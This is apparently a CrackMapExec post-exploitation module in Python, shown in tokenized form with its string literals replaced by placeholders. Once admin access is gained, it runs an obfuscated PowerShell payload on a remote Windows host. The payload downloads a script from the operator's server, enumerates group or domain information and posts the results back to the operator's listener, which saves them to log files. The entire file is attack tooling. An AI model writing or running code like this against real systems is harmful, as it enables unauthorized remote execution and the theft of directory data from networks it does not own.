<s> from core . helpers import create_ps_command , obfs_ps_script <EOL> from StringIO import StringIO <EOL> from datetime import datetime <EOL> class CMEModule : <EOL> '''<STR_LIT>''' <EOL> name = '<STR_LIT>' <EOL> def options ( self , context , module_options ) : <EOL> '''<STR_LIT>''' <EOL> self . group = None <EOL> self . domain = None <EOL> if '<STR_LIT>' in module_options : <EOL> self . group = module_options [ '<STR_LIT>' ] <EOL> if '<STR_LIT>' in module_options : <EOL> self . domain = module_options [ '<STR_LIT>' ] <EOL> def on_admin_login ( self , context , connection ) : <EOL> powah_command = '<STR_LIT>' <EOL> if self . group : <EOL> powah_command += '<STR_LIT>' . format ( self . group ) <EOL> if self . domain : <EOL> powah_command += '<STR_LIT>' . format ( self . domain ) <EOL> powah_command += '<STR_LIT>' <EOL> payload = '''<STR_LIT>''' . format ( server = context . server , <EOL> port = context . server_port , <EOL> addr = context . localip , <EOL> command = powah_command ) <EOL> context . log . debug ( '<STR_LIT>' . format ( payload ) ) <EOL> payload = create_ps_command ( payload ) <EOL> connection . execute ( payload , method = '<STR_LIT>' ) <EOL> context . log . success ( '<STR_LIT>' ) <EOL> def on_request ( self , context , request ) : <EOL> if '<STR_LIT>' == request . path [ <NUM_LIT:1> : ] : <EOL> request . send_response ( <NUM_LIT:200> ) <EOL> request . end_headers ( ) <EOL> with open ( '<STR_LIT>' , '<STR_LIT:r>' ) as ps_script : <EOL> ps_script = obfs_ps_script ( ps_script . read ( ) ) <EOL> request . wfile . write ( ps_script ) <EOL> else : <EOL> request . send_response ( <NUM_LIT> ) <EOL> request . end_headers ( ) <EOL> def on_response ( self , context , response ) : <EOL> response . send_response ( <NUM_LIT:200> ) <EOL> response . end_headers ( ) <EOL> length = int ( response . headers . getheader ( '<STR_LIT>' ) ) <EOL> data = response . rfile . read ( length ) <EOL> response . stop_tracking_host ( ) <EOL> if len ( data ) : <EOL> def print_post_data ( data ) : <EOL> buf = StringIO ( data . strip ( ) ) . readlines ( ) <EOL> for line in buf : <EOL> context . log . highlight ( line . strip ( ) ) <EOL> print_post_data ( data ) <EOL> log_name = '<STR_LIT>' . format ( response . client_address [ <NUM_LIT:0> ] , datetime . now ( ) . strftime ( "<STR_LIT>" ) ) <EOL> with open ( '<STR_LIT>' + log_name , '<STR_LIT:w>' ) as log_file : <EOL> log_file . write ( data ) <EOL> context . log . info ( "<STR_LIT>" . format ( log_name ) ) </s>
